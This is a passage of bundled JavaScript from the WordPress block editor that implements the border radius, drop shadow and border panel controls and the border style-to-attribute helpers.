22605 setSelectedUnits(newUnits);
22606 };
22607 const values = typeof valuesProp !== "string" ? valuesProp : {
22608 topLeft: valuesProp,
22609 topRight: valuesProp,
22610 bottomLeft: valuesProp,
22611 bottomRight: valuesProp
22612 };
22613 let value;
22614 if (corner === "all") {
22615 const convertedValues = convertPresetsToCustomValues(values, presets);
22616 const customValue = getAllValue(convertedValues);
22617 value = utils_getPresetValueFromCustomValue(customValue, presets);
22618 } else {
22619 value = utils_getPresetValueFromCustomValue(values[corner], presets);
22620 }
22621 const resolvedPresetValue = isValuePreset(value) ? utils_getCustomValueFromPreset(value, presets) : value;
22622 const [parsedQuantity, parsedUnit] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(resolvedPresetValue);
22623 const computedUnit = value ? parsedUnit : selectedUnits[corner] || selectedUnits.flat || "px";
22624 const unitConfig = units && units.find((item) => item.value === computedUnit);
22625 const step = unitConfig?.step || 1;
22626 const [showCustomValueControl, setShowCustomValueControl] = (0,external_wp_element_namespaceObject.useState)(
22627 value !== void 0 && !isValuePreset(value)
22628 );
22629 const showRangeControl = presets.length <= constants_RANGE_CONTROL_MAX_SIZE;
22630 const presetIndex = utils_getSliderValueFromPreset(value, presets);
22631 const rangeTooltip = (newValue) => value === void 0 ? void 0 : presets[newValue]?.name;
22632 const marks = presets.slice(1, presets.length - 1).map((_newValue, index) => ({
22633 value: index + 1,
22634 label: void 0
22635 }));
22636 const hasPresets = marks.length > 0;
22637 let options = [];
22638 if (!showRangeControl) {
22639 options = [
22640 ...presets,
22641 {
22642 name: (0,external_wp_i18n_namespaceObject.__)("Custom"),
22643 slug: "custom",
22644 size: resolvedPresetValue
22645 }
22646 ].map((size, index) => ({
22647 key: index,
22648 name: size.name
22649 }));
22650 }
22651 const icon = constants_ICONS[corner];
22652 const handleSliderChange = (next) => {
22653 const val = next !== void 0 ? `${next}${computedUnit}` : void 0;
22654 changeCornerValue(val);
22655 };
22656 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
22657 icon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22658 external_wp_components_namespaceObject.Icon,
22659 {
22660 className: "components-border-radius-control__icon",
22661 icon,
22662 size: 24
22663 }
22664 ),
22665 (!hasPresets || showCustomValueControl) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "components-border-radius-control__input-controls-wrapper", children: [
22666 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: CORNERS[corner], placement: "top", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "components-border-radius-control__tooltip-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22667 external_wp_components_namespaceObject.__experimentalUnitControl,
22668 {
22669 className: "components-border-radius-control__unit-control",
22670 "aria-label": CORNERS[corner],
22671 value: [parsedQuantity, computedUnit].join(
22672 ""
22673 ),
22674 onChange: onChangeValue,
22675 onUnitChange: onChangeUnit,
22676 size: "__unstable-large",
22677 min: MIN_BORDER_RADIUS_VALUE,
22678 units
22679 }
22680 ) }) }),
22681 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22682 external_wp_components_namespaceObject.RangeControl,
22683 {
22684 __next40pxDefaultSize: true,
22685 label: (0,external_wp_i18n_namespaceObject.__)("Border radius"),
22686 hideLabelFromVision: true,
22687 className: "components-border-radius-control__range-control",
22688 value: parsedQuantity ?? "",
22689 min: MIN_BORDER_RADIUS_VALUE,
22690 max: MAX_BORDER_RADIUS_VALUES[computedUnit],
22691 initialPosition: 0,
22692 withInputField: false,
22693 onChange: handleSliderChange,
22694 step,
22695 __nextHasNoMarginBottom: true
22696 }
22697 )
22698 ] }),
22699 hasPresets && showRangeControl && !showCustomValueControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22700 external_wp_components_namespaceObject.RangeControl,
22701 {
22702 __next40pxDefaultSize: true,
22703 className: "components-border-radius-control__range-control",
22704 value: presetIndex,
22705 onChange: (newSize) => {
22706 changeCornerValue(
22707 getPresetValueFromControlValue(
22708 newSize,
22709 "range",
22710 presets
22711 )
22712 );
22713 },
22714 withInputField: false,
22715 "aria-valuenow": presetIndex,
22716 "aria-valuetext": presets[presetIndex]?.name,
22717 renderTooltipContent: rangeTooltip,
22718 min: 0,
22719 max: presets.length - 1,
22720 marks,
22721 label: CORNERS[corner],
22722 hideLabelFromVision: true,
22723 __nextHasNoMarginBottom: true
22724 }
22725 ),
22726 !showRangeControl && !showCustomValueControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22727 external_wp_components_namespaceObject.CustomSelectControl,
22728 {
22729 className: "components-border-radius-control__custom-select-control",
22730 value: options.find(
22731 (option) => option.key === presetIndex
22732 ) || options[options.length - 1],
22733 onChange: (selection) => {
22734 if (selection.selectedItem.key === options.length - 1) {
22735 setShowCustomValueControl(true);
22736 } else {
22737 changeCornerValue(
22738 getPresetValueFromControlValue(
22739 selection.selectedItem.key,
22740 "selectList",
22741 presets
22742 )
22743 );
22744 }
22745 },
22746 options,
22747 label: CORNERS[corner],
22748 hideLabelFromVision: true,
22749 size: "__unstable-large"
22750 }
22751 ),
22752 hasPresets && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22753 external_wp_components_namespaceObject.Button,
22754 {
22755 label: showCustomValueControl ? (0,external_wp_i18n_namespaceObject.__)("Use border radius preset") : (0,external_wp_i18n_namespaceObject.__)("Set custom border radius"),
22756 icon: settings_settings_default,
22757 onClick: () => {
22758 setShowCustomValueControl(!showCustomValueControl);
22759 },
22760 isPressed: showCustomValueControl,
22761 size: "small",
22762 className: "components-border-radius-control__custom-toggle",
22763 iconSize: 24
22764 }
22765 )
22766 ] });
22767}
22768
22769
22770;// ./node_modules/@wordpress/block-editor/build-module/components/border-radius-control/index.js
22771
22772
22773
22774
22775
22776
22777
22778
22779
22780function useBorderRadiusSizes(presets) {
22781 const defaultSizes = presets?.default ?? constants_EMPTY_ARRAY;
22782 const customSizes = presets?.custom ?? constants_EMPTY_ARRAY;
22783 const themeSizes = presets?.theme ?? constants_EMPTY_ARRAY;
22784 return (0,external_wp_element_namespaceObject.useMemo)(() => {
22785 const sizes = [
22786 { name: (0,external_wp_i18n_namespaceObject.__)("None"), slug: "0", size: 0 },
22787 ...customSizes,
22788 ...themeSizes,
22789 ...defaultSizes
22790 ];
22791 return sizes.length > constants_RANGE_CONTROL_MAX_SIZE ? [
22792 {
22793 name: (0,external_wp_i18n_namespaceObject.__)("Default"),
22794 slug: "default",
22795 size: void 0
22796 },
22797 ...sizes
22798 ] : sizes;
22799 }, [customSizes, themeSizes, defaultSizes]);
22800}
22801function BorderRadiusControl({ onChange, values, presets }) {
22802 const [isLinked, setIsLinked] = (0,external_wp_element_namespaceObject.useState)(
22803 !hasDefinedValues(values) || !hasMixedValues(values)
22804 );
22805 const options = useBorderRadiusSizes(presets);
22806 const [selectedUnits, setSelectedUnits] = (0,external_wp_element_namespaceObject.useState)({
22807 flat: typeof values === "string" ? (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(values)[1] : void 0,
22808 topLeft: (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(values?.topLeft)[1],
22809 topRight: (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(values?.topRight)[1],
22810 bottomLeft: (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(values?.bottomLeft)[1],
22811 bottomRight: (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(
22812 values?.bottomRight
22813 )[1]
22814 });
22815 const [availableUnits] = use_settings_useSettings("spacing.units");
22816 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
22817 availableUnits: availableUnits || ["px", "em", "rem"]
22818 });
22819 const toggleLinked = () => setIsLinked(!isLinked);
22820 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "components-border-radius-control", children: [
22821 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { className: "components-border-radius-control__header", children: [
22822 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Radius") }),
22823 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LinkedButton, { onClick: toggleLinked, isLinked })
22824 ] }),
22825 isLinked ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22826 SingleInputControl,
22827 {
22828 onChange,
22829 selectedUnits,
22830 setSelectedUnits,
22831 values,
22832 units,
22833 corner: "all",
22834 presets: options
22835 }
22836 ) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
22837 "topLeft",
22838 "topRight",
22839 "bottomLeft",
22840 "bottomRight"
22841 ].map((corner) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22842 SingleInputControl,
22843 {
22844 onChange,
22845 selectedUnits,
22846 setSelectedUnits,
22847 values: values || constants_DEFAULT_VALUES,
22848 units,
22849 corner,
22850 presets: options
22851 },
22852 corner
22853 )) })
22854 ] });
22855}
22856
22857
22858;// ./node_modules/@wordpress/icons/build-module/library/check.js
22859
22860
22861var check_check_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z" }) });
22862
22863
22864;// ./node_modules/@wordpress/icons/build-module/library/shadow.js
22865
22866
22867var shadow_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z" }) });
22868
22869
22870;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/shadow-panel-components.js
22871
22872
22873
22874
22875
22876
22877const shadow_panel_components_EMPTY_ARRAY = [];
22878function ShadowPopoverContainer({ shadow, onShadowChange, settings }) {
22879 const shadows = useShadowPresets(settings);
22880 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-global-styles__shadow-popover-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
22881 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { level: 5, children: (0,external_wp_i18n_namespaceObject.__)("Drop shadow") }),
22882 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22883 ShadowPresets,
22884 {
22885 presets: shadows,
22886 activeShadow: shadow,
22887 onSelect: onShadowChange
22888 }
22889 ),
22890 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-global-styles__clear-shadow", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22891 external_wp_components_namespaceObject.Button,
22892 {
22893 __next40pxDefaultSize: true,
22894 variant: "tertiary",
22895 onClick: () => onShadowChange(void 0),
22896 disabled: !shadow,
22897 accessibleWhenDisabled: true,
22898 children: (0,external_wp_i18n_namespaceObject.__)("Clear")
22899 }
22900 ) })
22901 ] }) });
22902}
22903function ShadowPresets({ presets, activeShadow, onSelect }) {
22904 return !presets ? null : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22905 external_wp_components_namespaceObject.Composite,
22906 {
22907 role: "listbox",
22908 className: "block-editor-global-styles__shadow__list",
22909 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Drop shadows"),
22910 children: presets.map(({ name, slug, shadow }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22911 ShadowIndicator,
22912 {
22913 label: name,
22914 isActive: shadow === activeShadow,
22915 type: slug === "unset" ? "unset" : "preset",
22916 onSelect: () => onSelect(shadow === activeShadow ? void 0 : shadow),
22917 shadow
22918 },
22919 slug
22920 ))
22921 }
22922 );
22923}
22924function ShadowIndicator({ type, label, isActive, onSelect, shadow }) {
22925 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: label, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22926 external_wp_components_namespaceObject.Composite.Item,
22927 {
22928 role: "option",
22929 "aria-label": label,
22930 "aria-selected": isActive,
22931 className: dist_clsx("block-editor-global-styles__shadow__item", {
22932 "is-active": isActive
22933 }),
22934 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22935 "button",
22936 {
22937 className: dist_clsx(
22938 "block-editor-global-styles__shadow-indicator",
22939 {
22940 unset: type === "unset"
22941 }
22942 ),
22943 onClick: onSelect,
22944 style: { boxShadow: shadow },
22945 "aria-label": label,
22946 children: isActive && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: check_check_default })
22947 }
22948 )
22949 }
22950 ) });
22951}
22952function ShadowPopover({ shadow, onShadowChange, settings }) {
22953 const popoverProps = {
22954 placement: "left-start",
22955 offset: 36,
22956 shift: true
22957 };
22958 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22959 external_wp_components_namespaceObject.Dropdown,
22960 {
22961 popoverProps,
22962 className: "block-editor-global-styles__shadow-dropdown",
22963 renderToggle: renderShadowToggle(shadow, onShadowChange),
22964 renderContent: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalDropdownContentWrapper, { paddingSize: "medium", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22965 ShadowPopoverContainer,
22966 {
22967 shadow,
22968 onShadowChange,
22969 settings
22970 }
22971 ) })
22972 }
22973 );
22974}
22975function renderShadowToggle(shadow, onShadowChange) {
22976 return ({ onToggle, isOpen }) => {
22977 const shadowButtonRef = (0,external_wp_element_namespaceObject.useRef)(void 0);
22978 const toggleProps = {
22979 onClick: onToggle,
22980 className: dist_clsx(
22981 "block-editor-global-styles__shadow-dropdown-toggle",
22982 { "is-open": isOpen }
22983 ),
22984 "aria-expanded": isOpen,
22985 ref: shadowButtonRef
22986 };
22987 const removeButtonProps = {
22988 onClick: () => {
22989 if (isOpen) {
22990 onToggle();
22991 }
22992 onShadowChange(void 0);
22993 shadowButtonRef.current?.focus();
22994 },
22995 className: dist_clsx(
22996 "block-editor-global-styles__shadow-editor__remove-button",
22997 { "is-open": isOpen }
22998 ),
22999 label: (0,external_wp_i18n_namespaceObject.__)("Remove")
23000 };
23001 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23002 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, ...toggleProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
23003 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23004 icon_default,
23005 {
23006 className: "block-editor-global-styles__toggle-icon",
23007 icon: shadow_default,
23008 size: 24
23009 }
23010 ),
23011 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: (0,external_wp_i18n_namespaceObject.__)("Drop shadow") })
23012 ] }) }),
23013 !!shadow && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23014 external_wp_components_namespaceObject.Button,
23015 {
23016 __next40pxDefaultSize: true,
23017 size: "small",
23018 icon: reset_default,
23019 ...removeButtonProps
23020 }
23021 )
23022 ] });
23023 };
23024}
23025function useShadowPresets(settings) {
23026 return (0,external_wp_element_namespaceObject.useMemo)(() => {
23027 if (!settings?.shadow) {
23028 return shadow_panel_components_EMPTY_ARRAY;
23029 }
23030 const defaultPresetsEnabled = settings?.shadow?.defaultPresets;
23031 const {
23032 default: defaultShadows,
23033 theme: themeShadows,
23034 custom: customShadows
23035 } = settings?.shadow?.presets ?? {};
23036 const unsetShadow = {
23037 name: (0,external_wp_i18n_namespaceObject.__)("Unset"),
23038 slug: "unset",
23039 shadow: "none"
23040 };
23041 const shadowPresets = [
23042 ...defaultPresetsEnabled && defaultShadows || shadow_panel_components_EMPTY_ARRAY,
23043 ...themeShadows || shadow_panel_components_EMPTY_ARRAY,
23044 ...customShadows || shadow_panel_components_EMPTY_ARRAY
23045 ];
23046 if (shadowPresets.length) {
23047 shadowPresets.unshift(unsetShadow);
23048 }
23049 return shadowPresets;
23050 }, [settings]);
23051}
23052
23053
23054;// ./node_modules/@wordpress/block-editor/build-module/components/global-styles/border-panel.js
23055
23056
23057
23058
23059
23060
23061
23062
23063
23064
23065function useHasBorderPanel(settings) {
23066 const controls = Object.values(useHasBorderPanelControls(settings));
23067 return controls.some(Boolean);
23068}
23069function useHasBorderPanelControls(settings) {
23070 const controls = {
23071 hasBorderColor: useHasBorderColorControl(settings),
23072 hasBorderRadius: useHasBorderRadiusControl(settings),
23073 hasBorderStyle: useHasBorderStyleControl(settings),
23074 hasBorderWidth: useHasBorderWidthControl(settings),
23075 hasShadow: useHasShadowControl(settings)
23076 };
23077 return controls;
23078}
23079function useHasBorderColorControl(settings) {
23080 return settings?.border?.color;
23081}
23082function useHasBorderRadiusControl(settings) {
23083 return settings?.border?.radius;
23084}
23085function useHasBorderStyleControl(settings) {
23086 return settings?.border?.style;
23087}
23088function useHasBorderWidthControl(settings) {
23089 return settings?.border?.width;
23090}
23091function useHasShadowControl(settings) {
23092 const shadows = useShadowPresets(settings);
23093 return !!settings?.shadow && shadows.length > 0;
23094}
23095function BorderToolsPanel({
23096 resetAllFilter,
23097 onChange,
23098 value,
23099 panelId,
23100 children,
23101 label
23102}) {
23103 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
23104 const resetAll = () => {
23105 const updatedValue = resetAllFilter(value);
23106 onChange(updatedValue);
23107 };
23108 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23109 external_wp_components_namespaceObject.__experimentalToolsPanel,
23110 {
23111 label,
23112 resetAll,
23113 panelId,
23114 dropdownMenuProps,
23115 children
23116 }
23117 );
23118}
23119const border_panel_DEFAULT_CONTROLS = {
23120 radius: true,
23121 color: true,
23122 width: true,
23123 shadow: true
23124};
23125function BorderPanel({
23126 as: Wrapper = BorderToolsPanel,
23127 value,
23128 onChange,
23129 inheritedValue = value,
23130 settings,
23131 panelId,
23132 name,
23133 defaultControls = border_panel_DEFAULT_CONTROLS
23134}) {
23135 const colors = useColorsPerOrigin(settings);
23136 const decodeValue = (0,external_wp_element_namespaceObject.useCallback)(
23137 (rawValue) => getValueFromVariable({ settings }, "", rawValue),
23138 [settings]
23139 );
23140 const encodeColorValue = (colorValue) => {
23141 const allColors = colors.flatMap(
23142 ({ colors: originColors }) => originColors
23143 );
23144 const colorObject = allColors.find(
23145 ({ color }) => color === colorValue
23146 );
23147 return colorObject ? "var:preset|color|" + colorObject.slug : colorValue;
23148 };
23149 const border = (0,external_wp_element_namespaceObject.useMemo)(() => {
23150 if ((0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(inheritedValue?.border)) {
23151 const borderValue = { ...inheritedValue?.border };
23152 ["top", "right", "bottom", "left"].forEach((side) => {
23153 borderValue[side] = {
23154 ...borderValue[side],
23155 color: decodeValue(borderValue[side]?.color)
23156 };
23157 });
23158 return borderValue;
23159 }
23160 return {
23161 ...inheritedValue?.border,
23162 color: inheritedValue?.border?.color ? decodeValue(inheritedValue?.border?.color) : void 0
23163 };
23164 }, [inheritedValue?.border, decodeValue]);
23165 const setBorder = (newBorder) => onChange({ ...value, border: newBorder });
23166 const showBorderColor = useHasBorderColorControl(settings);
23167 const showBorderStyle = useHasBorderStyleControl(settings);
23168 const showBorderWidth = useHasBorderWidthControl(settings);
23169 const showBorderRadius = useHasBorderRadiusControl(settings);
23170 const borderRadiusValues = (0,external_wp_element_namespaceObject.useMemo)(() => {
23171 if (typeof inheritedValue?.border?.radius !== "object") {
23172 return decodeValue(inheritedValue?.border?.radius);
23173 }
23174 return {
23175 topLeft: decodeValue(inheritedValue?.border?.radius?.topLeft),
23176 topRight: decodeValue(inheritedValue?.border?.radius?.topRight),
23177 bottomLeft: decodeValue(
23178 inheritedValue?.border?.radius?.bottomLeft
23179 ),
23180 bottomRight: decodeValue(
23181 inheritedValue?.border?.radius?.bottomRight
23182 )
23183 };
23184 }, [inheritedValue?.border?.radius, decodeValue]);
23185 const setBorderRadius = (newBorderRadius) => setBorder({ ...border, radius: newBorderRadius });
23186 const hasBorderRadius = () => {
23187 const borderValues = value?.border?.radius;
23188 if (typeof borderValues === "object") {
23189 return Object.entries(borderValues).some(Boolean);
23190 }
23191 return !!borderValues;
23192 };
23193 const hasShadowControl = useHasShadowControl(settings);
23194 const shadow = decodeValue(inheritedValue?.shadow);
23195 const shadowPresets = settings?.shadow?.presets ?? {};
23196 const mergedShadowPresets = shadowPresets.custom ?? shadowPresets.theme ?? shadowPresets.default ?? [];
23197 const setShadow = (newValue) => {
23198 const slug = mergedShadowPresets?.find(
23199 ({ shadow: shadowName }) => shadowName === newValue
23200 )?.slug;
23201 onChange(
23202 setImmutably(
23203 value,
23204 ["shadow"],
23205 slug ? `var:preset|shadow|${slug}` : newValue || void 0
23206 )
23207 );
23208 };
23209 const hasShadow = () => !!value?.shadow;
23210 const resetShadow = () => setShadow(void 0);
23211 const resetBorder = () => {
23212 if (hasBorderRadius()) {
23213 return setBorder({ radius: value?.border?.radius });
23214 }
23215 setBorder(void 0);
23216 };
23217 const onBorderChange = (newBorder) => {
23218 const updatedBorder = { ...newBorder };
23219 if ((0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(updatedBorder)) {
23220 ["top", "right", "bottom", "left"].forEach((side) => {
23221 if (updatedBorder[side]) {
23222 updatedBorder[side] = {
23223 ...updatedBorder[side],
23224 color: encodeColorValue(updatedBorder[side]?.color)
23225 };
23226 }
23227 });
23228 } else if (updatedBorder) {
23229 updatedBorder.color = encodeColorValue(updatedBorder.color);
23230 }
23231 setBorder({ radius: border?.radius, ...updatedBorder });
23232 };
23233 const resetAllFilter = (0,external_wp_element_namespaceObject.useCallback)((previousValue) => {
23234 return {
23235 ...previousValue,
23236 border: void 0,
23237 shadow: void 0
23238 };
23239 }, []);
23240 const showBorderByDefault = defaultControls?.color || defaultControls?.width;
23241 const hasBorderControl = showBorderColor || showBorderStyle || showBorderWidth || showBorderRadius;
23242 const label = useBorderPanelLabel({
23243 blockName: name,
23244 hasShadowControl,
23245 hasBorderControl
23246 });
23247 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23248 Wrapper,
23249 {
23250 resetAllFilter,
23251 value,
23252 onChange,
23253 panelId,
23254 label,
23255 children: [
23256 (showBorderWidth || showBorderColor) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23257 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
23258 {
23259 hasValue: () => (0,external_wp_components_namespaceObject.__experimentalIsDefinedBorder)(value?.border),
23260 label: (0,external_wp_i18n_namespaceObject.__)("Border"),
23261 onDeselect: () => resetBorder(),
23262 isShownByDefault: showBorderByDefault,
23263 panelId,
23264 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23265 external_wp_components_namespaceObject.BorderBoxControl,
23266 {
23267 colors,
23268 enableAlpha: true,
23269 enableStyle: showBorderStyle,
23270 onChange: onBorderChange,
23271 popoverOffset: 40,
23272 popoverPlacement: "left-start",
23273 value: border,
23274 __experimentalIsRenderedInSidebar: true,
23275 size: "__unstable-large",
23276 hideLabelFromVision: !hasShadowControl,
23277 label: (0,external_wp_i18n_namespaceObject.__)("Border")
23278 }
23279 )
23280 }
23281 ),
23282 showBorderRadius && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23283 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
23284 {
23285 hasValue: hasBorderRadius,
23286 label: (0,external_wp_i18n_namespaceObject.__)("Radius"),
23287 onDeselect: () => setBorderRadius(void 0),
23288 isShownByDefault: defaultControls.radius,
23289 panelId,
23290 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23291 BorderRadiusControl,
23292 {
23293 presets: settings?.border?.radiusSizes,
23294 values: borderRadiusValues,
23295 onChange: (newValue) => {
23296 setBorderRadius(newValue || void 0);
23297 }
23298 }
23299 )
23300 }
23301 ),
23302 hasShadowControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23303 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
23304 {
23305 label: (0,external_wp_i18n_namespaceObject.__)("Shadow"),
23306 hasValue: hasShadow,
23307 onDeselect: resetShadow,
23308 isShownByDefault: defaultControls.shadow,
23309 panelId,
23310 children: [
23311 hasBorderControl ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Shadow") }) : null,
23312 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23313 ShadowPopover,
23314 {
23315 shadow,
23316 onShadowChange: setShadow,
23317 settings
23318 }
23319 )
23320 ]
23321 }
23322 )
23323 ]
23324 }
23325 );
23326}
23327
23328
23329;// ./node_modules/@wordpress/block-editor/build-module/hooks/border.js
23330
23331
23332
23333
23334
23335
23336
23337
23338
23339
23340
23341
23342
23343
23344const BORDER_SUPPORT_KEY = "__experimentalBorder";
23345const SHADOW_SUPPORT_KEY = "shadow";
23346const getColorByProperty = (colors, property, value) => {
23347 let matchedColor;
23348 colors.some(
23349 (origin) => origin.colors.some((color) => {
23350 if (color[property] === value) {
23351 matchedColor = color;
23352 return true;
23353 }
23354 return false;
23355 })
23356 );
23357 return matchedColor;
23358};
23359const getMultiOriginColor = ({ colors, namedColor, customColor }) => {
23360 if (namedColor) {
23361 const colorObject2 = getColorByProperty(colors, "slug", namedColor);
23362 if (colorObject2) {
23363 return colorObject2;
23364 }
23365 }
23366 if (!customColor) {
23367 return { color: void 0 };
23368 }
23369 const colorObject = getColorByProperty(colors, "color", customColor);
23370 return colorObject ? colorObject : { color: customColor };
23371};
23372function getColorSlugFromVariable(value) {
23373 const namedColor = /var:preset\|color\|(.+)/.exec(value);
23374 if (namedColor && namedColor[1]) {
23375 return namedColor[1];
23376 }
23377 return null;
23378}
23379function styleToAttributes(style) {
23380 if ((0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(style?.border)) {
23381 return {
23382 style,
23383 borderColor: void 0
23384 };
23385 }
23386 const borderColorValue = style?.border?.color;
23387 const borderColorSlug = borderColorValue?.startsWith("var:preset|color|") ? borderColorValue.substring("var:preset|color|".length) : void 0;
23388 const updatedStyle = { ...style };
23389 updatedStyle.border = {
23390 ...updatedStyle.border,
23391 color: borderColorSlug ? void 0 : borderColorValue
23392 };
23393 return {
23394 style: utils_cleanEmptyObject(updatedStyle),
23395 borderColor: borderColorSlug
23396 };
23397}
23398function attributesToStyle(attributes) {
23399 if ((0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(attributes.style?.border)) {
23400 return attributes.style;
23401 }
23402 return {
23403 ...attributes.style,
23404 border: {
23405 ...attributes.style?.border,
23406 color: attributes.borderColor ? "var:preset|color|" + attributes.borderColor : attributes.style?.border?.color
23407 }
23408 };
23409}
23410function BordersInspectorControl({ label, children, resetAllFilter }) {
23411 const attributesResetAllFilter = (0,external_wp_element_namespaceObject.useCallback)(
23412 (attributes) => {
23413 const existingStyle = attributesToStyle(attributes);
